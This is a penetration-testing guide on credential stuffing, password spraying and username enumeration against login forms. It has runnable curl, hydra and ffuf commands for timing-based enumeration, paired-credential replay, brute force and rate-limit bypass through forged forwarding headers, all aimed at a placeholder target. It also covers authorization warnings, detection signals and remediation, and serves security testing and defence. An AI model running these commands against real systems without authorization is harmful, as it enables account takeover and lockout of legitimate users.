9 min read

Credential Stuffing & Account Enumeration

Credential stuffing uses stolen username/password pairs from data breaches to test against target applications. Account enumeration discovers valid usernames through differential responses. Together, these techniques exploit weak authentication controls to gain unauthorized access.

Warning

Authorization Required: Credential stuffing against production systems requires explicit written authorization. Use test accounts and controlled environments whenever possible.

Frameworks: WSTG-IDNT-04, WSTG-ATHN-03 · ASVS 5.0 V6.1.1, V6.3.1, V6.3.8 · CWE-307 · T1110.004, T1078

Three Attacks, One Login Form

Three attacks share a login form and are constantly conflated. Brute force tries many passwords against one account. Password spraying tries one or two common passwords across many accounts. Credential stuffing replays breached username/password pairs, one attempt per account, relying on reuse. Volume is the obvious difference; the controls that stop them are not the same.

Stuffing cannot be demonstrated by trying harder. What you can test is the control set: whether usernames enumerate, whether velocity is limited per account and per source, whether lockout exists without becoming a denial-of-service lever, whether MFA interrupts a valid pair, and whether breached passwords are refused. Never run a corpus against a service you do not own — seed your own test accounts and use a handful of pairs.

Account Enumeration

Send one request with a known-valid username and one with a value that cannot exist, then compare status, body size and text. Differential error copy is the classic signal; identical copy with a 300 ms timing gap is weaker and needs repeated samples, because one slow response is jitter. Registration and password-reset flows usually leak the same fact more reliably than login, which now often uses deliberately generic messaging.

account-enumeration.sh
# Account enumeration through login response differences:

# Test with known-valid vs invalid username:
curl -s -w '\nHTTP_CODE: %{http_code}\nSIZE: %{size_download}\nTIME: %{time_total}' \
  -X POST https://target.com/login \
  -d 'username=admin&password=wrong'
# Response: "Invalid password" → username EXISTS

curl -s -w '\nHTTP_CODE: %{http_code}\nSIZE: %{size_download}\nTIME: %{time_total}' \
  -X POST https://target.com/login \
  -d 'username=nonexistent12345&password=wrong'
# Response: "User not found" → different message = enumerable!

# Enumeration vectors to test:
# 1. Login form: Different error messages for valid vs invalid username
# 2. Registration: "Email already registered"
# 3. Password reset: "If the account exists..." vs "Email sent" 
# 4. API responses: Different HTTP status codes (200 vs 404)
# 5. Response timing: Valid usernames take longer (password hash computed)
# 6. Response size: Different page lengths for valid vs invalid

# Timing-based enumeration:
for user in admin root test john jane; do
  TIME=$(curl -s -o /dev/null -w '%{time_total}' \
    -X POST https://target.com/login \
    -d "username=$user&password=wrong")
  echo "$user: ${TIME}s"
done
# If 'admin' takes 0.3s and others take 0.1s → admin exists
# (hypothesis: the password hash may only be computed for valid users —
#  confirm with repeated samples and a noise baseline; a single timing
#  gap can just be network jitter)

Credential Stuffing Attack

Before replaying a breach corpus, confirm the precondition: a working login request whose success signal you can recognise, and at least one known-valid pair to establish the baseline. Without a valid pair, a blocked, throttled, or malformed response is indistinguishable from a wrong credential.

hydra's http-post-form module needs the failure string, not the success string: any response that does not match it is reported as a hit. Pin the condition to text that appears only on failure, or the tool will call every attempt valid. Run it against accounts you control with a corpus you generated — a real breach dump is an ethics problem before it is a legal one.

credential-stuffing.sh
# --- Credential stuffing: replay breached user:pass pairs ---
# creds.txt holds one breached pair per line (user:password).
hydra -C creds.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 4 -w 30

# --- Password spraying: one password across many accounts ---
hydra -L usernames.txt -p 'Spring2025!' \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 4 -w 30

# --- Brute force: two wordlists, cartesian product (NOT stuffing) ---
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
  -u https://target.com/login \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=USER&password=PASS' \
  -mode clusterbomb \
  -mc 302 -fc 401

# Using Burp Suite Intruder:
# 1. Capture login request
# 2. Set payload positions on username and password
# 3. Load credential list (one per line: user:pass)
# 4. Use "Pitchfork" attack type for paired credentials
# 5. Filter by response length/status for successful logins

Rate Limit Bypass Techniques

Header-based bypasses only work when a proxy in front of the application trusts a client-supplied forwarding header. If the limit still applies, the request never reached the rate-limit key — record that as a negative rather than a bypass. Confirm by counting attempts that succeed past the threshold; a single 200 proves nothing. The same applies to case and whitespace variants: they are only findings if the altered username authenticates the same account.

rate-limit-bypass.sh
# Header rotation to bypass IP-based rate limiting:
curl -X POST https://target.com/login \
  -H 'X-Forwarded-For: 10.0.0.1' \
  -d 'username=admin&password=test1'

curl -X POST https://target.com/login \
  -H 'X-Forwarded-For: 10.0.0.2' \
  -d 'username=admin&password=test2'

# Other headers to try:
# X-Forwarded-For: <random_ip>
# X-Real-IP: <random_ip>
# X-Originating-IP: <random_ip>
# X-Client-IP: <random_ip>
# True-Client-IP: <random_ip>
# CF-Connecting-IP: <random_ip>

# Case manipulation bypass:
# admin / Admin / ADMIN / aDmin may be treated as different users
# but authenticate the same account

# Null byte / whitespace bypass:
# "admin" vs "admin " vs "admin%00" vs " admin"

# JSON array bypass (some parsers accept arrays):
curl -X POST https://target.com/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin", "password": ["pass1", "pass2", "pass3"]}'

# Adding extra parameters:
curl -X POST https://target.com/login \
  -d 'username=admin&password=pass1&password=pass2&password=pass3'

Lockout Policy Testing

Lockout testing is destructive by nature: you are locking an account. Use a dedicated test account and coordinate the timing. Record the threshold, whether it is per-account or per-IP, how long it lasts, whether it resets on success, and whether the lockout message itself enumerates users. A lockout any anonymous visitor can trigger is also a denial-of-service finding, so note it separately.

lockout-testing.sh
# Test account lockout thresholds:
for i in $(seq 1 20); do
  RESP=$(curl -s -o /dev/null -w '%{http_code}' \
    -X POST https://target.com/login \
    -d "username=testuser&password=wrong$i")
  echo "Attempt $i: HTTP $RESP"
  sleep 1
done

# Observations:
# - Does the account lock after N attempts?
# - Is the lockout permanent or time-based?
# - Does the error message change after lockout?
# - Can you still enumerate users during lockout?
# - Does lockout reset on successful login?

# Lockout bypass via IP rotation:
# If lockout is IP-based, rotate source IPs
# If lockout is account-based, test for bypass:
#   - Login with different case: Admin vs admin
#   - Login via API vs web form
#   - Login via mobile endpoint vs desktop

Detection and Signals

From the defender's side the signals are velocity per account, per IP and per ASN; a success that follows a burst of failures; an MFA challenge spike; and a login from a new device shortly after a breach dump circulates. As a tester, report which of those would have caught your traffic. If your attempts produced no alert and no block, that absence is itself the finding.

Testing Checklist

  • ☐ 1. Test login for differential responses (message, status, timing, size)
  • ☐ 2. Test registration for "email already exists" enumeration
  • ☐ 3. Test password reset for username enumeration
  • ☐ 4. Measure response timing for valid vs invalid usernames
  • ☐ 5. Test account lockout threshold and reset behavior
  • ☐ 6. Test rate limiting and attempt IP header bypasses
  • ☐ 7. Verify CAPTCHA is present and not bypassable
  • ☐ 8. Check for password complexity requirements
  • ☐ 9. Test default credentials on admin panels
  • ☐ 10. Confirm MFA interrupts a correctly guessed password, rather than prompting after success

Evidence Collection

Enumeration: Side-by-side comparison of valid vs invalid username responses

Timing Data: Table showing response times for known-valid vs invalid users

Rate Limit Test: Show successful requests beyond lockout threshold

Control Matrix: One row per control — enumeration, velocity, lockout, CAPTCHA, MFA, breached-password check — with the request that tested it and the observed result

CVSS Range: Enumeration only: 3.7–5.3 | No rate limit: 5.3–7.5 | Credential stuffing success: 7.5–9.1

Remediation

  • • Generic error messages: Use identical responses for all login failures: "Invalid username or password."
  • • Constant-time comparison: Always compute the password hash, even for invalid usernames, to prevent timing attacks.
  • • Rate limiting: Implement progressive delays and account lockout after failed attempts.
  • • CAPTCHA: Add CAPTCHA after 3-5 failed attempts.
  • • Breached password check: Check passwords against known breach databases (e.g., HaveIBeenPwned API).
  • • MFA: Require multi-factor authentication to mitigate credential reuse.
  • • Screen against breach corpora: Reject known-breached passwords at set time, and force a reset when an account appears in a new dump. Checking only at registration misses the passwords already in use.
  • • Make lockout unweaponisable: Prefer per-account backoff plus per-IP and per-ASN velocity limits over hard lockout, which an attacker can use to deny service to every known user.
  • • Alert on the pattern: One success after many failures, or a burst across many accounts from one ASN, is the signature. Detection without a response is only logging.

False Positive Identification

  • Account lockout ≠ adequate defense: Account lockout after N attempts is rate limiting, not credential stuffing protection — attackers use low-and-slow approaches (1-2 attempts per account across millions).
  • CAPTCHA presence ≠ protection: CAPTCHAs may only appear after failed attempts — the first attempt per account may still be unprotected.
  • Legitimate brute force traffic: During testing, distinguish your test traffic from production noise — use distinctive User-Agents and coordinate with the client's SOC.
  • Lockout caused by your own tests: Earlier enumeration or spraying runs can leave a test account locked before the lockout test begins. Verify the account is unlocked and note the starting state, or you will report a threshold that was never reached.
  • Copy-only enumeration difference: Two responses that differ only in translated text or a trailing period are usually templates, not a logic branch. Confirm the difference survives a locale change and appears consistently across several valid and invalid accounts.

Credential Attack Practice

Practice username enumeration and password attacks against rate-limited logins.

PortSwigger — Password-Based Authentication Labs PortSwigger medium
Username enumerationPassword sprayingRate-limit bypass